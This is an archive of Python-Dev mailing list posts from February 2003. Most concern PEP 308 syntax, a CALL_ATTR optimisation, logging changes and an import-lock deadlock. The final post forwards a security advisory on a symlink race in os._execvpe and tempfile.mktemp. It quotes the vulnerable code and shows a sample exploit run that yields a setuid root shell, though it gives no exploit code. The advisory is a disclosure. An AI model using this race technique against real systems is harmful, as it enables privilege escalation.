Well, yeah, but that's sick :-)

Slightly more seriously, I would hope that a suggestion we use such
import trickery on as fundamental a module as 'os' would be DOA.

Cheers,
M.

-- 
  Of the four project development variables - scope, cost, time and
  quality - quality isn't really a free variable.  The only possible
  values are "excellent" and "insanely excellent", depending on
  whether lives are at stake.              -- Kent Beck, XP Explained


From carel.fellinger@chello.nl  Fri Feb 14 15:32:21 2003
From: carel.fellinger@chello.nl (Carel Fellinger)
Date: Fri, 14 Feb 2003 16:32:21 +0100
Subject: [Python-Dev] Re: PEP 308: "then" "else" for deprecating "and" "or" side effects
In-Reply-To: <oqy94jdj7w.fsf@titan.progiciels-bpi.ca>
References: <3E4C5FBD.2070309@tismer.com> <oqy94jdj7w.fsf@titan.progiciels-bpi.ca>
Message-ID: <20030214153221.GA17996@mail.felnet>

On Fri, Feb 14, 2003 at 09:34:27AM -0500, François Pinard wrote:
...
> If I translate the keywords of our syntax back to English, it gives:
> 
>     a when b else c
> 
> with a chainable property not requiring parentheses:
> 
>     a when b else c when d else ...
...
> My opinion on PEP 308 is that, whatever is done or not done, the key to the
> final decision should be the continued legibility of the Python language,

hear hear!

> much more than the tiny bit of added functionality.  It just happens that
> for our little language, _not_ Python, the above has been received as quite
> natural and legible by the non-programmers in the project -- they used that
> language heavily for providing that knowledge base the project needed.

Does that little language of yours have an if-else statement?  If so
could you wrap it up in parens and make it an if-else expression and
try it out on those non-programmers to see how they react to it?  The
best way to do this would be to ask them in person, then it's easier
to see their reaction:)

I for one would find it very interesting whether my findings with my
twin daughters would prove more universal.  They made it clear that
statements aren't expressions, hence making an expression out of a
statement by (merily) embracing it with parens might not be such a
smart move after all.

-- 
groetjes, carel


From mrussell@verio.net  Fri Feb 14 16:48:00 2003
From: mrussell@verio.net (Mark Russell)
Date: Fri, 14 Feb 2003 16:48:00 +0000
Subject: [Python-Dev] PEP308 alternative syntax: bool method
Message-ID: <E18jj0K-0004wT-00@straylight>

I know this subject has been beaten somewhat to death, but how about making
the if/then/else operator a method of the bool type, as in:

    var = (x > 10).choose(ifyes, ifno)

Choose() would need to be a special function of course to avoid evaluating the
non-selected choice.  I haven't seen this syntax proposed before, although I
have not waded through all the debate in comp.lang.python.

I would love to see some form of choice operator added, mainly because it
supports a functional style of programming -- I very much like to initialise
variables as they are introduced (and preferably not to assign to them later).

Mark Russell




From aahz@pythoncraft.com  Fri Feb 14 16:50:29 2003
From: aahz@pythoncraft.com (Aahz)
Date: Fri, 14 Feb 2003 11:50:29 -0500
Subject: [Python-Dev] PEP308 alternative syntax: bool method
In-Reply-To: <E18jj0K-0004wT-00@straylight>
References: <E18jj0K-0004wT-00@straylight>
Message-ID: <20030214165029.GA16996@panix.com>

On Fri, Feb 14, 2003, Mark Russell wrote:
>
> I know this subject has been beaten somewhat to death, but how about making
> the if/then/else operator a method of the bool type, as in:
> 
>     var = (x > 10).choose(ifyes, ifno)
> 
> Choose() would need to be a special function of course to avoid evaluating the
> non-selected choice.  I haven't seen this syntax proposed before, although I
> have not waded through all the debate in comp.lang.python.

Please do not clutter python-dev with any further discussion of PEP 308;
Guido explicitly asked all discussion to move to c.l.py.
-- 
Aahz (aahz@pythoncraft.com)           <*>         http://www.pythoncraft.com/

Register for PyCon now!  http://www.python.org/pycon/reg.html


From lalo@laranja.org  Fri Feb 14 16:48:07 2003
From: lalo@laranja.org (Lalo Martins)
Date: Fri, 14 Feb 2003 14:48:07 -0200
Subject: [Python-Dev] PEP 308: "then" "else" for deprecating "and" "or" side effects
In-Reply-To: <3E4C5FBD.2070309@tismer.com>
References: <3E4C5FBD.2070309@tismer.com>
Message-ID: <20030214164806.GA4551@laranja.org>

On Fri, Feb 14, 2003 at 04:17:17AM +0100, Christian Tismer wrote:
> 
>     arg = arg then 42 else "Default"
>     arg = arg else "Default"
>     arg = arg then 42

I feel the "then" above reads very funny; besides, as it isn't currently in
python, it means a new keyword.  Guido's proposal reads better, despite the
funny ordering:

arg = 42 if arg else "Default"

If you have an idea of how to disambiguate it, then we could augment his
with your binary ideas:

arg = arg else "Default"
arg = 42 if arg

[]s,
                                               |alo
                                               +----
--
            Those who trade freedom for security
               lose both and deserve neither.
--
http://www.laranja.org/                mailto:lalo@laranja.org
         pgp key: http://www.laranja.org/pessoal/pgp

Eu jogo RPG! (I play RPG)         http://www.eujogorpg.com.br/
GNU: never give up freedom                 http://www.gnu.org/


From skip@pobox.com  Fri Feb 14 16:59:27 2003
From: skip@pobox.com (Skip Montanaro)
Date: Fri, 14 Feb 2003 10:59:27 -0600
Subject: [Python-Dev] PEP308 alternative syntax: bool method
In-Reply-To: <E18jj0K-0004wT-00@straylight>
References: <E18jj0K-0004wT-00@straylight>
Message-ID: <15949.8303.715487.569029@montanaro.dyndns.org>

    Mark>     var = (x > 10).choose(ifyes, ifno)

Still no short-circuit.  "ifyes" and "ifno" are both evaluated independent
of the value of the boolean expression.

Skip


From pinard@iro.umontreal.ca  Fri Feb 14 17:57:33 2003
From: pinard@iro.umontreal.ca (=?iso-8859-1?q?Fran=E7ois_Pinard?=)
Date: 14 Feb 2003 12:57:33 -0500
Subject: [Python-Dev] Re: PEP 308: "then" "else" for deprecating "and" "or" side effects
In-Reply-To: <20030214153221.GA17996@mail.felnet>
References: <3E4C5FBD.2070309@tismer.com>
 <oqy94jdj7w.fsf@titan.progiciels-bpi.ca>
 <20030214153221.GA17996@mail.felnet>
Message-ID: <oqptpueodu.fsf@titan.progiciels-bpi.ca>

[Carel Fellinger]

> Does that little language of yours have an if-else statement?

No, sorry.  This is not an imperative language.  The `... when ... else' is
the closest we have to an imperative `if else'.

--------------------
Let me chat a bit.  We use the little language to describe fairly complex
relations of prerequisites for a selection and matching subsystem -- and no,
not at all, we are not in the sex industry!  :-).  The data gets compiled
into forms, which are then quite optimised for efficient evaluation.

The language, optimiser and evaluator have all been implemented in Python.
The legibility and cleanness of Python, also helped with our little
language, allowed such a clear expression of the problem that it was easy to
add new optimisations, unthought with the previous implementations in PL/I
or C.  The current setup even compares favourably speed-wise, wiping out
most doubts and concerns of old-timers, here.  The net effect is an
administrative decision that all projects are likely to be developed in
Python, from now on.  Surely very pleasurable for me! :-)

-- 
François Pinard   http://www.iro.umontreal.ca/~pinard


From gsw@agere.com  Fri Feb 14 17:54:45 2003
From: gsw@agere.com (Gerald S. Williams)
Date: Fri, 14 Feb 2003 12:54:45 -0500
Subject: [Python-Dev] non-binary operators
In-Reply-To: <20030214100701.28472.76980.Mailman@mail.python.org>
Message-ID: <GBEGLOMMCLDACBPKDIHFEEOODCAA.gsw@agere.com>

I'm *not* discussing PEP 308, since that's supposed to
be happening on c.l.py. The operator names have been
changed to protect the innocent. :-)

Gary Herron wrote:
> The above defines two binary operators "[POINTED]" and
> "[STICK]" and a ternary operator "[POINTED]...[STICK]".
[...]
> can the action of the ternary operator be defined in
> terms of the actions of the two binary operators?
[...]
> The answer is *NO*, all three expressions evaluate to
> different results.

Why is that any different from the following set, which
are already three different expressions in Python?

  ( bunch_of_grapes <   banana ) < pointed_stick
    bunch_of_grapes < ( banana   < pointed_stick )
    bunch_of_grapes <   banana   < pointed_stick

-Jerry


From guido@python.org  Fri Feb 14 18:01:48 2003
From: guido@python.org (Guido van Rossum)
Date: Fri, 14 Feb 2003 13:01:48 -0500
Subject: [Python-Dev] CALL_ATTR, A Method Proposal
In-Reply-To: Your message of "Fri, 14 Feb 2003 06:02:42 CST."
 <20030214.060242.98857672.glyph@twistedmatrix.com>
References: <20030214.060242.98857672.glyph@twistedmatrix.com>
Message-ID: <200302141801.h1EI1mJ03013@odiug.zope.com>

> My proposal is to treat method calls as syntactically different from
> function calls.  Rather than x.y() being completely synonymous with
> getattr(x, "y")(), it could be analogous to 'x.y = z' or 'del x.y'.
> For symmetry with these statement types, the new bytecode could be
> called CALL_ATTR.

I'm not sure exactly what you're proposing here.

I'm all for making the bytecode compiler recognize the special case
<object>.<name>(<args>), and emitting a special bytecode for it that
can be executed more efficiently in the common case.

But I want the semantic *definition* to be unchanged: it should really
mean the same thing as gettattr(<object>, "<name>")(<args).

This may limit the possibilities for optimization, but any change in
semantics for something as fundamental as this is going to break too
much stuff.  Besides, I think that semantic definition is exactly
right.

Here's how I think the CALL_ATTR opcode should work:

    if <obj> is a new instance:
       if the class's getattr policy is standard:
          if <name> not in <obj>.__dict__:
             search <obj>.__class__ and its base classes for <name>
             if found and the result is a Python function:
                 call it with arguments (<obj>, <args>) and return
    elif <obj> is a classic instance:
       if <name> not in <obj>.__dict__:
          search <obj>.__class__ and its base classes for <name>
          if found and the result is a Python function:
              call it with arguments (<obj>, <args>) and return
    # if we get here, the optimization doesn't apply
    tmp = getattr(<obj>, <name>)
    return tmp(<args>)

--Guido van Rossum (home page: http://www.python.org/~guido/)


From mwh@python.net  Fri Feb 14 18:15:08 2003
From: mwh@python.net (Michael Hudson)
Date: Fri, 14 Feb 2003 18:15:08 +0000
Subject: [Python-Dev] CALL_ATTR, A Method Proposal
In-Reply-To: <2md6lvhwvs.fsf@starship.python.net> (Michael Hudson's message
 of "Fri, 14 Feb 2003 12:25:43 +0000")
References: <20030214.060242.98857672.glyph@twistedmatrix.com>
 <2md6lvhwvs.fsf@starship.python.net>
Message-ID: <2m7kc2iv9v.fsf@starship.python.net>

Michael Hudson <mwh@python.net> writes:

> Would be more interesting if it was implemented :-) This is a
> roundabout way of saying that I don't think implementation will be
> entirely straightforward/there may be easier ways to speed up method
> calls.

Actually, the "easier ways" I had in mind are already implemented :-)

Cheers,
M.

-- 
  If your telephone company installs a system in the woods with no
  one around to see them, do they still get it wrong?
                                 -- Robert Moir, alt.sysadmin.recovery


From skip@pobox.com  Fri Feb 14 18:15:37 2003
From: skip@pobox.com (Skip Montanaro)
Date: Fri, 14 Feb 2003 12:15:37 -0600
Subject: [Python-Dev] CALL_ATTR, A Method Proposal
In-Reply-To: <200302141801.h1EI1mJ03013@odiug.zope.com>
References: <20030214.060242.98857672.glyph@twistedmatrix.com>
 <200302141801.h1EI1mJ03013@odiug.zope.com>
Message-ID: <15949.12873.379854.503670@montanaro.dyndns.org>

I thought one thing Glyph was trying to address was the single-use nature of
the instancemethod object.  Once it's been created, can't you just cache it
in the instance for later reuse?  When it's needed, you borrow it from the
instance, use it, then put it back (assuming the slot in the instance is
still empty, otherwise you DECREF it).  I think that would make it thread
safe.

Skip


From guido@python.org  Fri Feb 14 18:21:08 2003
From: guido@python.org (Guido van Rossum)
Date: Fri, 14 Feb 2003 13:21:08 -0500
Subject: [Python-Dev] CALL_ATTR, A Method Proposal
In-Reply-To: Your message of "Fri, 14 Feb 2003 12:15:37 CST."
 <15949.12873.379854.503670@montanaro.dyndns.org>
References: <20030214.060242.98857672.glyph@twistedmatrix.com> <200302141801.h1EI1mJ03013@odiug.zope.com>
 <15949.12873.379854.503670@montanaro.dyndns.org>
Message-ID: <200302141821.h1EIL8B03414@odiug.zope.com>

> I thought one thing Glyph was trying to address was the single-use nature of
> the instancemethod object.  Once it's been created, can't you just cache it
> in the instance for later reuse?  When it's needed, you borrow it from the
> instance, use it, then put it back (assuming the slot in the instance is
> still empty, otherwise you DECREF it).  I think that would make it thread
> safe.

The caching would have to be done by the instance object's getattr()
implementation; there are all sorts of situations where the cache
would have to be invalidated and only the instance (really, its class)
knows about that.

And note that the compiler doesn't know the type of <obj> in
<obj>.<name>(<args>).  <obj> might be a module or an extension object.

--Guido van Rossum (home page: http://www.python.org/~guido/)


From gherron@islandtraining.com  Fri Feb 14 18:39:52 2003
From: gherron@islandtraining.com (Gary Herron)
Date: Fri, 14 Feb 2003 10:39:52 -0800
Subject: [Python-Dev] non-binary operators
In-Reply-To: <GBEGLOMMCLDACBPKDIHFEEOODCAA.gsw@agere.com>
References: <GBEGLOMMCLDACBPKDIHFEEOODCAA.gsw@agere.com>
Message-ID: <200302141039.52320.gherron@islandtraining.com>

On Friday 14 February 2003 09:54 am, Gerald S. Williams wrote:
> I'm *not* discussing PEP 308, since that's supposed to
> be happening on c.l.py. The operator names have been
> changed to protect the innocent. :-)

Oops.  The original post was to both lists (which seems excessive),
and then so was my response.

> Gary Herron wrote:
> > The above defines two binary operators "[POINTED]" and
> > "[STICK]" and a ternary operator "[POINTED]...[STICK]".
>
> [...]
>
> > can the action of the ternary operator be defined in
> > terms of the actions of the two binary operators?
>
> [...]
>
> > The answer is *NO*, all three expressions evaluate to
> > different results.
>
> Why is that any different from the following set, which
> are already three different expressions in Python?
>
>   ( bunch_of_grapes <   banana ) < pointed_stick
>     bunch_of_grapes < ( banana   < pointed_stick )
>     bunch_of_grapes <   banana   < pointed_stick

Good point.  I've never actually used (a<b<c), but I'm pleasently
surprised when reminded of it's existence.  There is however a
difference. A whole string of '<' operators (or even of string of
mixed '<' and '>' operators) can be understood by considering each
operation in isolation as a binary operation.  Not so with the "then"
and "else" operands.  

The easiest description of a string of "then" operators is that it
selects and returns the first "false" expression in the lists, and a
string of "else" operators selects and returns the first "true"
expresson, and both short-circuit the remaining operands.  The ternary
operator is not easily explained by some combination of the individual
binary operands from which it is composed.

Gary Herron



From glyph@twistedmatrix.com  Fri Feb 14 20:13:46 2003
From: glyph@twistedmatrix.com (Glyph Lefkowitz)
Date: Fri, 14 Feb 2003 14:13:46 -0600
Subject: [Python-Dev] CALL_ATTR, A Method Proposal
In-Reply-To: <15949.12873.379854.503670@montanaro.dyndns.org>
Message-ID: <D2E06961-4058-11D7-8A99-003065C58BE2@twistedmatrix.com>

On Friday, February 14, 2003, at 12:15 PM, Skip Montanaro wrote:

> I thought one thing Glyph was trying to address was the single-use 
> nature of
> the instancemethod object.  Once it's been created, can't you just 
> cache it
> in the instance for later reuse?  When it's needed, you borrow it from 
> the
> instance, use it, then put it back (assuming the slot in the instance 
> is
> still empty, otherwise you DECREF it).  I think that would make it 
> thread
> safe.

But this would merely be trading space for speed, where neither is 
necessary.  What I'm 	proposing (and I think what Guido already had on 
his list) is that the instancemethod object never be created, as you 
can optimize the syntax to mean "call this method" rather than "get 
this attribute, call the result".



From tismer@tismer.com  Sat Feb 15 04:09:25 2003
From: tismer@tismer.com (Christian Tismer)
Date: Sat, 15 Feb 2003 05:09:25 +0100
Subject: [Python-Dev] Re: PEP 308: "then" "else" for deprecating "and" "or" side effects
In-Reply-To: <oqy94jdj7w.fsf@titan.progiciels-bpi.ca>
References: <3E4C5FBD.2070309@tismer.com> <oqy94jdj7w.fsf@titan.progiciels-bpi.ca>
Message-ID: <3E4DBD75.6020602@tismer.com>

François Pinard wrote:
> [Christian Tismer]
> 
> 
>>Dear community,
> 
> 
> Nice way to salute! :-)

as it was indented to be :-)

>>there has been some favor of my silly/simple a then b else c proposal.
> 
> 
> Not so long ago, I added a similar feature in an ad hoc language we created
> for one project (French and specialised syntax, and written under pressure).
> Strangely enough, it did not occur to me, before this morning, that there
> was some relation with this long thread in the Python universe. :-)
> 
> If I translate the keywords of our syntax back to English, it gives:
> 
>     a when b else c
> 
> with a chainable property not requiring parentheses:
> 
>     a when b else c when d else ...
> 
> Our language is declarative (tinily functional) rather than imperative.
> Yet, the above writings are not far from the original Guido suggestion.

Well, the difference is of course quite big to me.

a when b else c when d else ...

compared to

a if b else c if d else ...

looks much smoother.

I also could imagine "where":

a where b else c where d else ...

All in favor over re-using a strong "if".
"if" is used to be too much right-orientated...

more-of-this -- chris

-- 
Christian Tismer             :^)   <mailto:tismer@tismer.com>
Mission Impossible 5oftware  :     Have a break! Take a ride on Python's
Johannes-Niemeyer-Weg 9a     :    *Starship* http://starship.python.net/
14109 Berlin                 :     PGP key -> http://wwwkeys.pgp.net/
work +49 30 89 09 53 34  home +49 30 802 86 56  pager +49 173 24 18 776
PGP 0x57F3BF04       9064 F4E1 D754 C2FF 1619  305B C09C 5A3B 57F3 BF04
      whom do you want to sponsor today?   http://www.stackless.com/




From mhammond@skippinet.com.au  Sat Feb 15 05:01:23 2003
From: mhammond@skippinet.com.au (Mark Hammond)
Date: Sat, 15 Feb 2003 16:01:23 +1100
Subject: [Python-Dev] Import lock knowledge required!
Message-ID: <00e401c2d4af$49b06ee0$530f8490@eden>

I've found a bug related to the import lock causing a deadlock in 2.3.  The
bug can be found at http://www.python.org/sf/683658

The bug is fairly self-explanatory, so I won't repeat it here.  The proposed
patch exposes the import lock to the Python C API, allowing optionally a
non-blocking attempt to acquire the lock.  I should note that the only
reason I propose this is because I can see no other option!

I would appreciate it if people knowledgeable about the import lock and its
implications could have a quick look at this bug, and comment on my proposed
patch.

Thanks,

Mark.



From tismer@tismer.com  Sat Feb 15 05:43:02 2003
From: tismer@tismer.com (Christian Tismer)
Date: Sat, 15 Feb 2003 06:43:02 +0100
Subject: [Python-Dev] PEP 308: "then" "else" for deprecating "and" "or"
 side effects
In-Reply-To: <20030214164806.GA4551@laranja.org>
References: <3E4C5FBD.2070309@tismer.com> <20030214164806.GA4551@laranja.org>
Message-ID: <3E4DD366.8010500@tismer.com>

Lalo Martins wrote:
> On Fri, Feb 14, 2003 at 04:17:17AM +0100, Christian Tismer wrote:
> 
>>    arg = arg then 42 else "Default"
>>    arg = arg else "Default"
>>    arg = arg then 42
> 
> 
> I feel the "then" above reads very funny; besides, as it isn't currently in
> python, it means a new keyword.  Guido's proposal reads better, despite the
> funny ordering:
> 
> arg = 42 if arg else "Default"

Please stay up-to-date. There is no such proposal any
longer, although it reads much better to me than the
latest version, which is complete overkill for me.
"spraxelmaksel", if this is international for broken
syntax.

> If you have an idea of how to disambiguate it, then we could augment his
> with your binary ideas:
> 
> arg = arg else "Default"
> arg = 42 if arg

These reductions are always simple.
It isn't about semantics at all.
I simply refuse "a if b then c", for a simple
reason: Way too many languages *have* some kind of
spelled "if" which goes to the right. I don't want
Python to use a keyword so much differently, then

"a when b else c" looks pretty understandable to me,
also if you were confrontated wiht 25+ languages, before.

good night -- chris

-- 
Christian Tismer             :^)   <mailto:tismer@tismer.com>
Mission Impossible 5oftware  :     Have a break! Take a ride on Python's
Johannes-Niemeyer-Weg 9a     :    *Starship* http://starship.python.net/
14109 Berlin                 :     PGP key -> http://wwwkeys.pgp.net/
work +49 30 89 09 53 34  home +49 30 802 86 56  pager +49 173 24 18 776
PGP 0x57F3BF04       9064 F4E1 D754 C2FF 1619  305B C09C 5A3B 57F3 BF04
      whom do you want to sponsor today?   http://www.stackless.com/




From vinay_sajip@red-dove.com  Sat Feb 15 12:30:11 2003
From: vinay_sajip@red-dove.com (Vinay Sajip)
Date: Sat, 15 Feb 2003 12:30:11 -0000
Subject: [Python-Dev] Changes to logging
Message-ID: <000501c2d4ed$fec5aaa0$652b6992@alpha>

I've got a set of patches which I want to make to logging:

1. Added the record being processed as a parameter to handleError.
2. Handler.handle returns the result of applying the filter to the record.
3. Added a seek(0, 2) in RotatingFileHandler before the tell() call. This
is because under Windows, tell() returns 0 until the first actual write.
4. Renamed warn and WARN to warning and WARNING. This may
break existing code, but the standard Python module will use warning/WARNING
rather than warn/WARN. The fatal and FATAL synonyms for critical and
CRITICAL
have also been removed.
5. Added a defaultEncoding attribute and some simple support for encoding
Unicode messages.
6. Added process ID to the list of LogRecord attributes.
7. Modified Logger.removeHandler so that it does not close the handler on
removal.

As far as point 4 is concerned, I feel that the last discussion on
python-dev was inconclusive. The consensus seemed to say WARNING and
CRITICAL were OK, but then there was some doubt about WARNING due to the
number of changes Zope would need. Though Zope is an important application,
I'm not sure Zope changes should be the yardstick for this sort of change;
>From looking for instances of WARN and warn in the .py files from a recent
read-only checkout of Zope, I couldn't see all that many places where
changes would be needed. Have I missed something?

For point 5, I'm not sure how best to handle Unicode support, so I'm
canvassing suggestions. The API allows overriding of the message formatting
logic at various stages - LogRecord, Handler or Formatter. This makes it
fairly easy to provide arbitrary custom logic for Unicode encoding, etc. The
change I've made allows for simple default processing - a "defaultEncoding"
attribute defaulted to "latin_1" has been added to logging. Currently, the
message format string is determined via LogRecord.getMessage(), which does a
str() on the passed in message argument passed to the logging call. Under
the proposed change:

- If the running Python has no Unicode support, the system does a str(), as
it does currently.
- If the message argument is not a Unicode string, the system does a str(),
as it does currently.
- If the message argument is a Unicode string (type(msg) ==
types.UnicodeType), the system does a msg.encode(defaultEncoding).

The resulting string is treated as the format string and the % operator
applied with the arguments to obtain the final message string.

Comments, please?

Vinay Sajip
Red Dove Consultants Ltd.
http://www.red-dove.com/





From mal@lemburg.com  Sat Feb 15 15:42:30 2003
From: mal@lemburg.com (M.-A. Lemburg)
Date: Sat, 15 Feb 2003 16:42:30 +0100
Subject: [Python-Dev] Changes to logging
In-Reply-To: <000501c2d4ed$fec5aaa0$652b6992@alpha>
References: <000501c2d4ed$fec5aaa0$652b6992@alpha>
Message-ID: <3E4E5FE6.6080605@lemburg.com>

Vinay Sajip wrote:
> For point 5, I'm not sure how best to handle Unicode support, so I'm
> canvassing suggestions. The API allows overriding of the message formatting
> logic at various stages - LogRecord, Handler or Formatter. This makes it
> fairly easy to provide arbitrary custom logic for Unicode encoding, etc. The
> change I've made allows for simple default processing - a "defaultEncoding"
> attribute defaulted to "latin_1" has been added to logging.

You should use sys.getdefaultencoding() for this. Python's default
encoding is "ascii", BTW, not "latin-1".

> Currently, the
> message format string is determined via LogRecord.getMessage(), which does a
> str() on the passed in message argument passed to the logging call. Under
> the proposed change:
> 
> - If the running Python has no Unicode support, the system does a str(), as
> it does currently.
> - If the message argument is not a Unicode string, the system does a str(),
> as it does currently.
> - If the message argument is a Unicode string (type(msg) ==
> types.UnicodeType), the system does a msg.encode(defaultEncoding).

Perhaps there's some other reason, but why do you apply special
treatment to Unicode ? Unicode objects behave pretty much the
same as strings do, so the special casing doesn't seem necessary.

I'd only do the str() call on objects which are not string types.

> The resulting string is treated as the format string and the % operator
> applied with the arguments to obtain the final message string.

-- 
Marc-Andre Lemburg
eGenix.com

Professional Python Software directly from the Source  (#1, Feb 15 2003)
 >>> Python/Zope Products & Consulting ...         http://www.egenix.com/
 >>> mxODBC, mxDateTime, mxTextTools ...        http://python.egenix.com/
________________________________________________________________________
Python UK 2003, Oxford:                                     45 days left
EuroPython 2003, Charleroi, Belgium:                       129 days left



From mal@lemburg.com  Sat Feb 15 15:49:11 2003
From: mal@lemburg.com (M.-A. Lemburg)
Date: Sat, 15 Feb 2003 16:49:11 +0100
Subject: [Python-Dev] Import lock knowledge required!
In-Reply-To: <00e401c2d4af$49b06ee0$530f8490@eden>
References: <00e401c2d4af$49b06ee0$530f8490@eden>
Message-ID: <3E4E6177.8040806@lemburg.com>

Mark Hammond wrote:
> I've found a bug related to the import lock causing a deadlock in 2.3.  The
> bug can be found at http://www.python.org/sf/683658
> 
> The bug is fairly self-explanatory, so I won't repeat it here.  The proposed
> patch exposes the import lock to the Python C API, allowing optionally a
> non-blocking attempt to acquire the lock.  I should note that the only
> reason I propose this is because I can see no other option!
> 
> I would appreciate it if people knowledgeable about the import lock and its
> implications could have a quick look at this bug, and comment on my proposed
> patch.

I think we're running into a similar bootstrap problem as
we did when we had exceptions coded in Python. The solution
back then was to recode it in C. Perhaps the warnings module
should get the same treatment ?!

-- 
Marc-Andre Lemburg
eGenix.com

Professional Python Software directly from the Source  (#1, Feb 15 2003)
 >>> Python/Zope Products & Consulting ...         http://www.egenix.com/
 >>> mxODBC, mxDateTime, mxTextTools ...        http://python.egenix.com/
________________________________________________________________________
Python UK 2003, Oxford:                                     45 days left
EuroPython 2003, Charleroi, Belgium:                       129 days left



From guido@python.org  Sat Feb 15 15:52:31 2003
From: guido@python.org (Guido van Rossum)
Date: Sat, 15 Feb 2003 10:52:31 -0500
Subject: [Python-Dev] Changes to logging
In-Reply-To: Your message of "Sat, 15 Feb 2003 12:30:11 GMT."
 <000501c2d4ed$fec5aaa0$652b6992@alpha>
References: <000501c2d4ed$fec5aaa0$652b6992@alpha>
Message-ID: <200302151552.h1FFqVI01618@pcp02138704pcs.reston01.va.comcast.net>

> I've got a set of patches which I want to make to logging:

Please upload to SF ASAP -- I'd like to do another alpha next Tuesday.

Please send forward context or unified diffs relative to current
CVS!

> 1. Added the record being processed as a parameter to handleError.

OK.

> 2. Handler.handle returns the result of applying the filter to the record.

OK.

> 3. Added a seek(0, 2) in RotatingFileHandler before the tell() call. This
> is because under Windows, tell() returns 0 until the first actual write.

OK.

> 4. Renamed warn and WARN to warning and WARNING. This may
> break existing code, but the standard Python module will use
> warning/WARNING rather than warn/WARN.

OK, but please leave warn/WARN in as synonyms.

> The fatal and FATAL synonyms for critical and CRITICAL have also
> been removed.

NOT OK.  Please leave them in as synonyms.

> 5. Added a defaultEncoding attribute and some simple support for encoding
> Unicode messages.

See Marc-Andre's reply.

> 6. Added process ID to the list of LogRecord attributes.

OK.

> 7. Modified Logger.removeHandler so that it does not close the handler on
> removal.

OK.

> As far as point 4 is concerned, I feel that the last discussion on
> python-dev was inconclusive. The consensus seemed to say WARNING and
> CRITICAL were OK, but then there was some doubt about WARNING due to the
> number of changes Zope would need. Though Zope is an important application,
> I'm not sure Zope changes should be the yardstick for this sort of change;
> From looking for instances of WARN and warn in the .py files from a recent
> read-only checkout of Zope, I couldn't see all that many places where
> changes would be needed. Have I missed something?

Did you check Zope 3 too?  It's got more of these I think.  But if you
submit patches for Python, I can take care of Zope 3.

--Guido van Rossum (home page: http://www.python.org/~guido/)


From Jack.Jansen@oratrix.com  Sat Feb 15 16:31:49 2003
From: Jack.Jansen@oratrix.com (Jack Jansen)
Date: Sat, 15 Feb 2003 17:31:49 +0100
Subject: [Python-Dev] Import lock knowledge required!
In-Reply-To: <3E4E6177.8040806@lemburg.com>
Message-ID: <FB2CB860-4102-11D7-83DC-000A27B19B96@oratrix.com>

On zaterdag, feb 15, 2003, at 16:49 Europe/Amsterdam, M.-A. Lemburg 
wrote:
> I think we're running into a similar bootstrap problem as
> we did when we had exceptions coded in Python. The solution
> back then was to recode it in C. Perhaps the warnings module
> should get the same treatment ?!

There are other modules with the same potential problem. For instance, 
the code that
prints MacOS error messages imports a Python module to get at the texts 
of the
messages. I haven't had any reports of deadlocks, but I haven't looked 
for them
either, so it may be possible this code gets called with the import 
lock held.

And at first glance code using cobject's PyCobject_import() may be at 
risk too (only at first
glance: I didn't check to see whether such code is ever executed with 
with import lock held).
--
- Jack Jansen        <Jack.Jansen@oratrix.com>        
http://www.cwi.nl/~jack -
- If I can't dance I don't want to be part of your revolution -- Emma 
Goldman -



From aahz@pythoncraft.com  Sun Feb 16 04:43:19 2003
From: aahz@pythoncraft.com (Aahz)
Date: Sat, 15 Feb 2003 23:43:19 -0500
Subject: [Python-Dev] FWD: Python execvpe symlink race condition.
Message-ID: <20030216044319.GB1680@panix.com>

Not sure what to do about this, but I don't have the time to check into
it.

----- Forwarded message from Access-=-Denied support <info@ad2u.gr> -----
> Forwarded-By: aahz@pythoncraft.com
> Reply-To: info@ad2u.gr
> To: webmaster@python.org
> Subject: Python execvpe symlink race condition.
> From: Access-=-Denied support <info@ad2u.gr>
> Organization: Access-=-Denied
> Date: Sun, 16 Feb 2003 03:33:38 -0000
> 
> 
> Dear webmaster,
> 
> 
> The proof of concept code will be published in a few days. That will leave 
> you plenty of time
> to deal with the bug.
> 
> 
> 
> Looking forward to hearing from you,
> 
> Access-=-Denied support
> 
> 
> 
> START OF ADVISORY
> -----------------
> 
> AD2U Security Advisory -- 15/02/2003
> 
> Python 2.2.x execvpe Symlink Race Condition
> 
> Summary
> --------
> 
> A Symlink race condition exists in all version of Python programming 
> language. Probably any posix system running python is vulnerable.
> 
> #### IMPORTANT ####
> This vulnerability is not closely related to the recent execvpe 
> vulnerability, but the idea is derived from there.
> 
> 
> 
> Description
> ----------------
> 
> The vulnerability can be observed in two library files that come with 
> python.
> 
> tempfile.py at def mktemp(suffix=""):
> *************************************
>    while 1:
>        i = _counter.get_next()
>        file = os.path.join(dir, pre + str(i) + suffix)
>        if not os.path.exists(file):
>            return file
> 
> 
> os.py at def _execvpe(file, args, env=None):
> ********************************************
>            import tempfile
>            t = tempfile.mktemp()
>            # Exec a file that is guaranteed not to exist
>            try: execv(t, ('blah',))
>            except error, _notfound: pass
> 
> It is possible, to create a link of the file to be executed (t) in the 
> limited time window between the statements
> os.path.exists(file) in tempfile.py and execv(t, ('blah',)) in os.py are 
> executed.
> 
> 
> IMPACT
> ------
> 
> Python is not running suid on most platforms, so to gain root privileges is 
> a little hard. However, you can attack scripts that use execvpe function 
> and you will gain the privileges of the
> user running the script.
> 
> 
> PATCH
> -----
> 
> The vulnerability of the tempfile.mktemp()
> function is known, and python have "declared" mktemp() deprecated.
> Af far it concerns the execvpe function, because it uses mktemp() function 
> it is vulnerable to this attack.
> 
> Vendor has been notified.
> 
> 
> Exploit
> -------
> 
> There is exploit code available for this bug and will be published soon.
> 
> A simple run of the epxloit is demonstrated below:
> 
> root@prezaki:~# ./python.sh
> Python 2.2.x Symlink Race Condition exploit
> Access-=-Denied Networks (c) mzozd@ad2u.gr, 2003
> This is a proof of concept code!!! For educational purposes only
> Creating suidshell script
> Building python file...
> Be patient, it will take a few moments
> ......................................................................
> ......................................................................
> ......................................................................
> ......................................................................
> ......................................................................
> ......................................................................
> ......................................................................
> You got your suidshell...
> -rwsr-xr-x    1 root     root       532960 Feb 15 02:42 /tmp/.sh
> Cleaning environment
> 
> root@prezaki:~#
> 
> 
> DISCLAIMER
> ----------
> 
> The author(s) does(do) not have any responsibility for any malicious
> use of this advisory or proof of concept code. The code and the
> information provided here are for educational purposes only.
> The author(s) will NOT be held responsible for any direct or indirect 
> damages caused by the information or the code
> provided here. This advisory is OPEN for public distribution
> EXCEPT for Symantec Corporation, Security Focus, Bugtraq or
> any other company affiliated with Symantec. Articles that are
> based on the information posted here SHOULD include a link
> to this advisory or clearly refer the SOURCE.
> This disclaimer is not to be modified by any means and must
> be included 'as-is' in other documents. The material provided
